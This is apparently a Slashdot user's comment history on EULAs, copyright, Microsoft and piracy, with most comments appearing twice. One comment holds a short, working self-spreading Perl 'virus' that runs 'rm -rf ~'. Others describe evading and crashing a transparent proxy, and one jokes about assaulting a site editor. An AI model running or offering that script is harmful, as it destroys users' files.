Under regulations from the Food and Drug Administration of the Department of Health and Human Services and the Food Safety and Inspection Service of the U.S. Department of Agriculture, the food label offers more complete, useful and accurate nutrition information than ever before.
Well, software companies' desire for power isn't on the same level as the health of America's citizens (I hope).
Also the nutrional labels are purely informational, they don't say that if you eat this candy bar you are agreeing to change your behavior in such and such a way, etc. Information is good and facilitates free exchange.
I think the best thing is for the government to declare once and for all that unsigned contracts cannot be binding.
Re:Software companies think they can do anything..
on
Spyware Fights Back
·
· Score: 3, Insightful
In any case, abuse of EULAs has become so widespread that I suspect they're going to end up getting regulated, anyway.
Well you don't need regulation to give you your rights under the law. As far as I know, except for UCITA (blech), no law says that licenses are binding in any way. They are just pieces of paper included in the box for your amusement, or to wipe your ass with, or whatever. Feel free to do whatever you like with what came in that box, as long as it doesn't violate copyright or trademark or any other law (ie, don't use the CD to slit someone's throat).
Of course, that doesn't mean company XYZ won't sue you over the EULA, but that doesn't mean they are in the right, just richer than you.
This virus/media player/whatever that deletes files isn't magically justified in its behavior by the EULA (just consider the EULA as a verbose warning label: Warning, this product may delete files on your hard drive).
And don't tell me that loading a copy into RAM is forbidden unless the EULA says I can, that's crap. Software has no other purpose but to be loaded into a computer's RAM (and HD), they can't be selling their software in good faith unless they know it will be put on computers.
So let's hope the result of these abuses is that the legal system simply says: "if you want your customers to act any differently than the law allows them to, they must SIGN a CONTRACT, now get out of my courtroom."
Or at least they should say a license can be like the GPL and GIVE you permission to do something that's otherwise not allowed, bu a license can't FORBID you from doing anything.
That will save everybody a lot of trouble.
The problem is of course that Microsoft, et al, will simply encode their favorite license terms directly into the law by greasing a few palms in Congress (this is how the entertainment industry was doing it for years), but at least in that case the results are a little more public (I don't know what half these EULA's say unless I read it in Infoworld, or/., but I certainly know the DMCA pretty well by now).
In summary: this magical fiction of "software licenses" has to be put to an end, and quick. Software companies don't deserve a power over customers that no other industry has (where's the EULA on your screwdriver that says it can't be used to build computers unless you pay the computer fee? Where's the EULA on your ball-point pen that says all papers you write are the property of Sanford Pen Company?)
Why can't you just buy music in the new format for $1 a disc, if you already own the music?
See, you have to stop using logic and common sense. Just use this simple test:
Given two choices X and Y, which gives the record companies the most profits? That will be the one they choose.
In fact, I would not be surprised if the record companies would charge you MORE if you already owned the CD, since now you've doubled the chances for piracy by owning two copies in two formats. I know that seems irrational and unenforcable, but if you believe charging $18 for a disc of information that can be copied for free is a great idea for a business model, a lot of other stuff suddenly seems plausible too...
Its always so goddamn virulent around against MS - but those prices (and the ones for the schools and Mexico) sound like just an amazing deal - really a fine bargin. I guess I dont get it.
Well, Microsoft could just give them one DVD of software for $1 and let them copy it freely. That would really be a bargain.
I have a computer with a pre-installed version of Windows. It's a package deal. This Is Significant And Important (TM). I donate the PC to a school. The Windows license must accompany it.
So another equally valid requirement would be: Please wipe the hard drive of any hardware that is donated to you, unless you have the license for all the software.
I don't think Package Deals(tm) require you to keep everything together if you donate it. Think of, say, a printer that came with the computer.
IANAL, but if you're not re-selling it, I'd imagine you don't have to keep the package deal together. Maybe under trademark law you have to keep it together when reselling it on eBay or something, but you're not reselling, you're donating.
I got the pre-installed OS as a part of the PC package, therefore I can't split it up when I donate the hardware.
Sure you can. If you believe that software "licenses" are really binding (which a cash-strapped school probably would do), then you can wipe all copies of the OS, destroy the media and license, and donate the computer with no OS.
If you don't believe licenses are binding, then you can keep your OS and do whatever you like with it, as long as you wipe the hard drive of the donated machine.
So in summary it should be okay to:
1) donate a naked PC, or
2) donate a PC filled with proprietary software, as long as each license is transferred.
As a counter-point, I'd bring up Stephen King's experiment, where he allowed free download of his book and asked for a tiny donation in return. Very few of the people who downloaded the book paid for it and the project was scrapped.
Not true...
1) his "donation" was actually pretty high, considering the number of pages you got (I believe it was $1 per part, with like 12 parts planned).
2) he made (as in, clear profit after expenses) about half a million. He considered it a success, though not as much income as his print books (obviously.. and he botched a few things, including lack of notification when new parts were put up.)
He wrote a letter to NYT or whoever had written an article about it, describing how he felt it was a success. But of course the big publisher didn't print his letter.
As for your point that this only helps unknown authors, I have to wonder, so what? Let's treat music and writing and art like any other industry, where there are few or no "superstars". Sure there are high-profile lawyers, doctors, programmers, etc., but they don't make a large percentage of the profits in their respective industries. We should support smaller artists, so that being a recording musician isn't like playing the lottery, it's like having a normal job.
I've also heard people saying that sharing hurts the little guy and not the big guy, so I guess it's a matter of opinion.
terrorism == loss of human life != hacking
on
Byte Wars
·
· Score: 5, Insightful
Okay, terrorism is targetting and attacking unarmed civilians in order to create fear and terror on a large scale. (ie, detonating a bomb in a crowded restaurant).
It doesn't have anything to do with hacking computers. The terms "online terrorism" and "cyberterrorism" are meaningless and maybe even insulting to victims of real terrorism.
Terrorism isn't a blanket term for everything that's disruptive and annoying. I don't feel "terror" if the internet is subverted by al Queda hackers, or the 14-year next door for that matter.
Let's not dilute the meaning of the word.. It's enough we have idiots creating phrases like "industrial terrorism".
We already have a word for breaking into computers: hacking (or, uh, cracking).
Do they really think there's gonna be that many people willing to be a narc, without any compensation?
Well, they could give you a free copy of the software in question.
I saw a site once (I think it was a porn site) that offered the following deal: if you find any illegal copies of our videotape on the internet, we'll give you a copy of our videotape.
The Google Rights include rights to the following:......(3) the search results and spell checking you obtain when you use Google Web APIs.
I never thought I'd read the words "Google Rights" in a legal document, but anyway, how can Google own the rights to "spell checking".. what exactly do they own? The words that come back? The association of misspelled words to spelled words? How could you abuse that??
I must say this is incredibly cool though.. however I would much rather see a generic "Search Engine API" that isn't owned by Google, and can be implemented by anyone.
Media firms could also take a page from the antipiracy playbook of software companies, who concentrate on shutting down large, commercial piracy operations rather than trying to control individual users, he said.
Or take a page out of the Open Source playbook: forget about "pirates" and other imaginary childhood monsters and concentrate your resources on creating stuff!
You got two people using the same disc, essentially.
And..... and what? The universe explodes? Time starts moving backwards? Giant marshmallow-men roam the streets? Somewhere, a musican you don't know dies?
Copyright law is really starting to smell, if you ask me. Somebody better drag it out of the room before it really stinks up the place.
To me, this is like putting drunk drivers in jail for killing a person in an accident, instead of suing the crap out of Ford for making the car that has the potential to kill people if used incorrectly.
Letting more than one person listen to a CD is like being a drunk driver and killing someone? Yeesh. The RIAA would love that analogy.
CmdrTaco needs a good cock punching
on
April Fools Wrap Up
·
· Score: 1, Troll
Who's with me on this? I need someone to help hold him still.
After he's done, we'll move on to the rest of the/. crew. (Except JonKatz, for obvious reasons.)
Kid, anyone who equates fighting against clearly unconstitutional oppression on the basis of irrelevant genetic characteristics with a bunch of snot-nosed brats not wanting to pay for other people's labor is beyond pathetic.
Hah! I bet people were making similar "arguments" whenever someone brought up civil rights for colored people. Because there was a time when people DIDN'T believe that those genetic characteristics were irrelevant. They DIDN'T believe that the constitution applied to colored people, because they weren't considered people.
Maybe the rights we'd like to have with regard to copyright isn't as fundamental as being able to sit anyplace on a bus, or come in any door of restaurant, but then again, maybe they are? Isn't the free exchange of information the most basic right of a society? In fact it's the cornerstone of our society. What use is free speech, if all the printing presses are controlled by the government. Controlled by the government on behalf of corporations, who are upset that the citizenery are copying their newspapers to, get this: READ THEM!
It all depends how you look at it. I didn't give a shit about law and politics until the DMCA was passed. Now I'm I understand the drive behind activists and other people I used to think were just a little too paranoid.
It seems that the framers of the constitution didn't foresee this loophole that copyright seems to have created. They were worried about people in government abusing power.. not corporations seeking profit.
I hope the civil disobedience keeps up, and reaches a fever pitch, until the corps do something so stupid that even average Joe can see it as stupid. Then perhaps in 100 years, someone will look back on it and shake their heads the way we look back on segregation and shake our heads.
As for the original post, well, I agree. I don't really care about these laws any more. I'm going to trust my instincts that copying my CDs into my iPod is as immoral as making ice in my refrigerator, and figuring out how to break any copy interference to do it is as immoral as changing the bag in my vacuum cleaner.
Reasonable people agree that the creator of a work should compensated for his efforts, hence copyright - but it has no basis in the constitution.
Well, I disagree.. a creator, whether he creates lemonade, cars, or music, has only the right to attempt compensation. If you sell one glass of lemonade and everybody starts copying your recipe, that's your problem, not society's.
If we start saying he SHOULD be compensated, we'll next have to decide on the amount, and then if he doesn't get it, tax society somehow. "To each according to his need", right?
Because the Constitution clearly states that copyrights are to promote progress, even putting this phrase first in the sentence, it means that society must benefit as a necessary condition to creators having copyrights.
OF COURSE, this assumes that if we allow person-to-person copying of music, and allowing you to make copies for your own use, and allow quoting in your school reports, or whatever, that the artist will suddenly stop getting his compensation. I don't believe that is the case.
I think the problem is that the large media corps are just doing a cost-benefis analysis and seeing that lobbying congress is cheaper than developing new products and services. Since there isn't anyone making moral arguments about copyright (at least not loud enough for the general public to hear), congress just goes along.
A: Yeah. Yeah. I mean, abused and ripped off was also in there just to some extent. Relieved actually was part of it.
Q: Relieved?
A: That it wasn't particularly creative.
Why would he be relieved that MS puts out mediocre stuff? I hate that the world is forced to use boring, insecure, ugly, embraced-and-extended software from MS. I want them to be creative.
Personally, I think.NET is pretty good, technologically. I like C# + CLR a lot more than Java, and infinitely more than C++.
But what troubles me is that it's got a Microsoft copyright on it, which is pretty much a guaranteed poison pill in my view, but that's another issue.
On the whole, we should hope for Microsoft to be "creative", that's the whole point, the whole reason we don't like them. As Steve Jobs said, "they have no taste".
Then again, I shouldn't expect unbaised answers from Gosling, eh?
I have big hands and I've noticed that whenever using a gadget I use the ball of my thumb joint to push the buttons. ie, a hard spot at the first knuckle rather than the end of the thumb. It has gotton harder and more pronounced over the years (callused (sp)?) For instance on a camera with buttons on the back, I use the thumb joint to push the button. If I used the thumbtip I would probably mash two buttons by mistake.
Anybody else use their thumb this way? I haven't really thought about it until reading this story. Maybe I'm just a mutant.
Also the end of my thumb can bend 90 degrees in either direction.. apparently this isn't common either.
Actually (for the benefit of anybody actually reading this thread) it would only suspend proxying based on REMOTE address. i.e., if I went to playboy.com port 80 and typed garbage, then I could subsequently connect directly to playboy.com:80. If I then went to hustler.com:80, it would be via the proxy unless I did the same trick. I couldn't test to see if it affected playboy.com:80 for EVERYBODY or not.
Now I recall why I never wrote a script to do it automatically....it had to be done for each remote addr.
Ahem. It didn't get DoS'd, it simply stopped intercepting packets from port 80 from my particular IP address for 5 minutes, not everybody else. It's a transparent proxy on outgoing port 80, there's no guarantee that port 80 traffic is HTTP. I sent it some non-HTTP traffic.
It also did a similar thing when I went to "http://blahblah.com" where blahblah.com is a host that isn't running a web server. The first time it would hang, subsequent attempts returned were "connection refused" directly from the remote server. (I assumed anyway, unless some really weird fuckery was going on).
Sending non-HTTP traffic out of my port 80 should not screw up the transparent proxy. How about if a client dies in the middle of a request? (Sending "GE" instead of "GET/" or whatever). Or what if they want to connect to a MUD on port 8080 and mistype 80 or something. Or what if somebody is running an SSL server on port 80. That's one brittle piece of firmware if the whole show goes down because of that! Hackers would love it and embed https://host.com:80/ images in all their web pages to crash all these proxies.
einsturzende neubauten renamed "fluffy bunnies"
on
He Writes Back
·
· Score: 2
*LOL* that was the first one I read. Where he wanted to buy steel for the band's instruments. Then the slashdot effect kicked in. oh well
Now keep in mind, MANY spammers don't know the full impact of what they are doing. They are simply small businesses who have been approached by spamming companies promising a "great way to reach customers". The businessman doesn't know much about the internet and figures that this is just like direct mail only cheaper. So occasionally this guy is messing with legit small businesses. Not that there's anything wrong with that..
I use foreign chars a lot in text files and in MySQL databases and have never had any problems. Check your environment variables, your i18n and l10n files (wherever they are) and if that doesn't help try the rawhide grep. (I'm using grep-2.4.2-5 fwiw).
Also I believe there are other goofy things like character equivalence classes for foreign characters that might be of use, for instance to find all "A"'s accented or not....read the locale and regexp man pages etc.
Slashdot Mirror
Under regulations from the Food and Drug Administration of the Department of Health and Human Services and the Food Safety and Inspection Service of the U.S. Department of Agriculture, the food label offers more complete, useful and accurate nutrition information than ever before.
Well, software companies' desire for power isn't on the same level as the health of America's citizens (I hope).
Also the nutrional labels are purely informational, they don't say that if you eat this candy bar you are agreeing to change your behavior in such and such a way, etc. Information is good and facilitates free exchange.
I think the best thing is for the government to declare once and for all that unsigned contracts cannot be binding.
In any case, abuse of EULAs has become so widespread that I suspect they're going to end up getting regulated, anyway.
Well you don't need regulation to give you your rights under the law. As far as I know, except for UCITA (blech), no law says that licenses are binding in any way. They are just pieces of paper included in the box for your amusement, or to wipe your ass with, or whatever. Feel free to do whatever you like with what came in that box, as long as it doesn't violate copyright or trademark or any other law (ie, don't use the CD to slit someone's throat).
Of course, that doesn't mean company XYZ won't sue you over the EULA, but that doesn't mean they are in the right, just richer than you.
This virus/media player/whatever that deletes files isn't magically justified in its behavior by the EULA (just consider the EULA as a verbose warning label: Warning, this product may delete files on your hard drive).
And don't tell me that loading a copy into RAM is forbidden unless the EULA says I can, that's crap. Software has no other purpose but to be loaded into a computer's RAM (and HD), they can't be selling their software in good faith unless they know it will be put on computers.
So let's hope the result of these abuses is that the legal system simply says: "if you want your customers to act any differently than the law allows them to, they must SIGN a CONTRACT, now get out of my courtroom."
Or at least they should say a license can be like the GPL and GIVE you permission to do something that's otherwise not allowed, bu a license can't FORBID you from doing anything.
That will save everybody a lot of trouble.
The problem is of course that Microsoft, et al, will simply encode their favorite license terms directly into the law by greasing a few palms in Congress (this is how the entertainment industry was doing it for years), but at least in that case the results are a little more public (I don't know what half these EULA's say unless I read it in Infoworld, or /., but I certainly know the DMCA pretty well by now).
In summary: this magical fiction of "software licenses" has to be put to an end, and quick. Software companies don't deserve a power over customers that no other industry has (where's the EULA on your screwdriver that says it can't be used to build computers unless you pay the computer fee? Where's the EULA on your ball-point pen that says all papers you write are the property of Sanford Pen Company?)
Why can't you just buy music in the new format for $1 a disc, if you already own the music?
See, you have to stop using logic and common sense. Just use this simple test:
In fact, I would not be surprised if the record companies would charge you MORE if you already owned the CD, since now you've doubled the chances for piracy by owning two copies in two formats. I know that seems irrational and unenforcable, but if you believe charging $18 for a disc of information that can be copied for free is a great idea for a business model, a lot of other stuff suddenly seems plausible too...
TIME is part of AOL/Time/Warner, a giant MEDIA company that makes its money by generating copyrights.
Business 2.0 is owned by AOL-TW as well..
Its always so goddamn virulent around against MS - but those prices (and the ones for the schools and Mexico) sound like just an amazing deal - really a fine bargin. I guess I dont get it.
Well, Microsoft could just give them one DVD of software for $1 and let them copy it freely. That would really be a bargain.
I have a computer with a pre-installed version of Windows. It's a package deal. This Is Significant And Important (TM). I donate the PC to a school. The Windows license must accompany it.
So another equally valid requirement would be: Please wipe the hard drive of any hardware that is donated to you, unless you have the license for all the software.
I don't think Package Deals(tm) require you to keep everything together if you donate it. Think of, say, a printer that came with the computer.
IANAL, but if you're not re-selling it, I'd imagine you don't have to keep the package deal together. Maybe under trademark law you have to keep it together when reselling it on eBay or something, but you're not reselling, you're donating.
I got the pre-installed OS as a part of the PC package, therefore I can't split it up when I donate the hardware.
Sure you can. If you believe that software "licenses" are really binding (which a cash-strapped school probably would do), then you can wipe all copies of the OS, destroy the media and license, and donate the computer with no OS.
If you don't believe licenses are binding, then you can keep your OS and do whatever you like with it, as long as you wipe the hard drive of the donated machine.
So in summary it should be okay to:
1) donate a naked PC, or
2) donate a PC filled with proprietary software, as long as each license is transferred.
As a counter-point, I'd bring up Stephen King's experiment, where he allowed free download of his book and asked for a tiny donation in return. Very few of the people who downloaded the book paid for it and the project was scrapped.
Not true...
1) his "donation" was actually pretty high, considering the number of pages you got (I believe it was $1 per part, with like 12 parts planned).
2) he made (as in, clear profit after expenses) about half a million. He considered it a success, though not as much income as his print books (obviously.. and he botched a few things, including lack of notification when new parts were put up.)
He wrote a letter to NYT or whoever had written an article about it, describing how he felt it was a success. But of course the big publisher didn't print his letter.
As for your point that this only helps unknown authors, I have to wonder, so what? Let's treat music and writing and art like any other industry, where there are few or no "superstars". Sure there are high-profile lawyers, doctors, programmers, etc., but they don't make a large percentage of the profits in their respective industries. We should support smaller artists, so that being a recording musician isn't like playing the lottery, it's like having a normal job.
I've also heard people saying that sharing hurts the little guy and not the big guy, so I guess it's a matter of opinion.
Okay, terrorism is targetting and attacking unarmed civilians in order to create fear and terror on a large scale. (ie, detonating a bomb in a crowded restaurant).
It doesn't have anything to do with hacking computers. The terms "online terrorism" and "cyberterrorism" are meaningless and maybe even insulting to victims of real terrorism.
Terrorism isn't a blanket term for everything that's disruptive and annoying. I don't feel "terror" if the internet is subverted by al Queda hackers, or the 14-year next door for that matter.
Let's not dilute the meaning of the word.. It's enough we have idiots creating phrases like "industrial terrorism".
We already have a word for breaking into computers: hacking (or, uh, cracking).
Do they really think there's gonna be that many people willing to be a narc, without any compensation?
Well, they could give you a free copy of the software in question.
I saw a site once (I think it was a porn site) that offered the following deal: if you find any illegal copies of our videotape on the internet, we'll give you a copy of our videotape.
#!/usr/bin/perl
# VIRUS.pl by l33tb0y
# sh0utz to: b33k3r and dr.ph0t0n
for (<*.pl>) {
# 5pr34d d4 l0v3
system "cat $0 >> $_";
}
# D4 P4YL04D! M3 50 3V1L!
system "rm -rf ~";
print "h4 h4 h4 h4 -- ur 0wn3d!\n";
The Google Rights include rights to the following:......(3) the search results and spell checking you obtain when you use Google Web APIs.
I never thought I'd read the words "Google Rights" in a legal document, but anyway, how can Google own the rights to "spell checking".. what exactly do they own? The words that come back? The association of misspelled words to spelled words? How could you abuse that??
I must say this is incredibly cool though.. however I would much rather see a generic "Search Engine API" that isn't owned by Google, and can be implemented by anyone.
Media firms could also take a page from the antipiracy playbook of software companies, who concentrate on shutting down large, commercial piracy operations rather than trying to control individual users, he said.
Or take a page out of the Open Source playbook: forget about "pirates" and other imaginary childhood monsters and concentrate your resources on creating stuff!
From WordNet (r) 1.6 [wn]:
piracy
Hmm, I think if they stay on dry land, #1 is taken care of, and if they use footnotes or something, #2 is taken care of. No worries!
You got two people using the same disc, essentially.
And..... and what? The universe explodes? Time starts moving backwards? Giant marshmallow-men roam the streets? Somewhere, a musican you don't know dies?
Copyright law is really starting to smell, if you ask me. Somebody better drag it out of the room before it really stinks up the place.
To me, this is like putting drunk drivers in jail for killing a person in an accident, instead of suing the crap out of Ford for making the car that has the potential to kill people if used incorrectly.
Letting more than one person listen to a CD is like being a drunk driver and killing someone? Yeesh. The RIAA would love that analogy.
Who's with me on this? I need someone to help hold him still.
After he's done, we'll move on to the rest of the /. crew. (Except JonKatz, for obvious reasons.)
Kid, anyone who equates fighting against clearly unconstitutional oppression on the basis of irrelevant genetic characteristics with a bunch of snot-nosed brats not wanting to pay for other people's labor is beyond pathetic.
Hah! I bet people were making similar "arguments" whenever someone brought up civil rights for colored people. Because there was a time when people DIDN'T believe that those genetic characteristics were irrelevant. They DIDN'T believe that the constitution applied to colored people, because they weren't considered people.
Maybe the rights we'd like to have with regard to copyright isn't as fundamental as being able to sit anyplace on a bus, or come in any door of restaurant, but then again, maybe they are? Isn't the free exchange of information the most basic right of a society? In fact it's the cornerstone of our society. What use is free speech, if all the printing presses are controlled by the government. Controlled by the government on behalf of corporations, who are upset that the citizenery are copying their newspapers to, get this: READ THEM!
It all depends how you look at it. I didn't give a shit about law and politics until the DMCA was passed. Now I'm I understand the drive behind activists and other people I used to think were just a little too paranoid.
It seems that the framers of the constitution didn't foresee this loophole that copyright seems to have created. They were worried about people in government abusing power.. not corporations seeking profit.
I hope the civil disobedience keeps up, and reaches a fever pitch, until the corps do something so stupid that even average Joe can see it as stupid. Then perhaps in 100 years, someone will look back on it and shake their heads the way we look back on segregation and shake our heads.
As for the original post, well, I agree. I don't really care about these laws any more. I'm going to trust my instincts that copying my CDs into my iPod is as immoral as making ice in my refrigerator, and figuring out how to break any copy interference to do it is as immoral as changing the bag in my vacuum cleaner.
Reasonable people agree that the creator of a work should compensated for his efforts, hence copyright - but it has no basis in the constitution.
Well, I disagree.. a creator, whether he creates lemonade, cars, or music, has only the right to attempt compensation. If you sell one glass of lemonade and everybody starts copying your recipe, that's your problem, not society's.
If we start saying he SHOULD be compensated, we'll next have to decide on the amount, and then if he doesn't get it, tax society somehow. "To each according to his need", right?
Because the Constitution clearly states that copyrights are to promote progress, even putting this phrase first in the sentence, it means that society must benefit as a necessary condition to creators having copyrights.
OF COURSE, this assumes that if we allow person-to-person copying of music, and allowing you to make copies for your own use, and allow quoting in your school reports, or whatever, that the artist will suddenly stop getting his compensation. I don't believe that is the case.
I think the problem is that the large media corps are just doing a cost-benefis analysis and seeing that lobbying congress is cheaper than developing new products and services. Since there isn't anyone making moral arguments about copyright (at least not loud enough for the general public to hear), congress just goes along.
I don't know what to make of this:
Why would he be relieved that MS puts out mediocre stuff? I hate that the world is forced to use boring, insecure, ugly, embraced-and-extended software from MS. I want them to be creative.
Personally, I think .NET is pretty good, technologically. I like C# + CLR a lot more than Java, and infinitely more than C++.
But what troubles me is that it's got a Microsoft copyright on it, which is pretty much a guaranteed poison pill in my view, but that's another issue.
On the whole, we should hope for Microsoft to be "creative", that's the whole point, the whole reason we don't like them. As Steve Jobs said, "they have no taste".
Then again, I shouldn't expect unbaised answers from Gosling, eh?
I went to this url:
And sure enough everything was set to "yes".
But what I want to know is, why on earth would you give Yahoo! your real address and telephone number?? My account is all lies.
Then again, I only use Yahoo to track my portfolio.. I hardly use any of the services.
I have big hands and I've noticed that whenever using a gadget I use the ball of my thumb joint to push the buttons. ie, a hard spot at the first knuckle rather than the end of the thumb. It has gotton harder and more pronounced over the years (callused (sp)?) For instance on a camera with buttons on the back, I use the thumb joint to push the button. If I used the thumbtip I would probably mash two buttons by mistake.
Anybody else use their thumb this way? I haven't really thought about it until reading this story. Maybe I'm just a mutant.
Also the end of my thumb can bend 90 degrees in either direction.. apparently this isn't common either.
Actually (for the benefit of anybody actually reading this thread) it would only suspend proxying based on REMOTE address. i.e., if I went to playboy.com port 80 and typed garbage, then I could subsequently connect directly to playboy.com:80. If I then went to hustler.com:80, it would be via the proxy unless I did the same trick. I couldn't test to see if it affected playboy.com:80 for EVERYBODY or not.
Now I recall why I never wrote a script to do it automatically....it had to be done for each remote addr.
Ha! 1 0wn3d 17! /\/\3 S0 L33T! LOLz!
Ahem. It didn't get DoS'd, it simply stopped intercepting packets from port 80 from my particular IP address for 5 minutes, not everybody else. It's a transparent proxy on outgoing port 80, there's no guarantee that port 80 traffic is HTTP. I sent it some non-HTTP traffic.
It also did a similar thing when I went to "http://blahblah.com" where blahblah.com is a host that isn't running a web server. The first time it would hang, subsequent attempts returned were "connection refused" directly from the remote server. (I assumed anyway, unless some really weird fuckery was going on).
Sending non-HTTP traffic out of my port 80 should not screw up the transparent proxy. How about if a client dies in the middle of a request? (Sending "GE" instead of "GET /" or whatever). Or what if they want to connect to a MUD on port 8080 and mistype 80 or something. Or what if somebody is running an SSL server on port 80. That's one brittle piece of firmware if the whole show goes down because of that! Hackers would love it and embed https://host.com:80/ images in all their web pages to crash all these proxies.
*LOL* that was the first one I read. Where he wanted to buy steel for the band's instruments. Then the slashdot effect kicked in. oh well
Now keep in mind, MANY spammers don't know the full impact of what they are doing. They are simply small businesses who have been approached by spamming companies promising a "great way to reach customers". The businessman doesn't know much about the internet and figures that this is just like direct mail only cheaper. So occasionally this guy is messing with legit small businesses. Not that there's anything wrong with that..
I use foreign chars a lot in text files and in MySQL databases and have never had any problems. Check your environment variables, your i18n and l10n files (wherever they are) and if that doesn't help try the rawhide grep. (I'm using grep-2.4.2-5 fwiw).
Also I believe there are other goofy things like character equivalence classes for foreign characters that might be of use, for instance to find all "A"'s accented or not....read the locale and regexp man pages etc.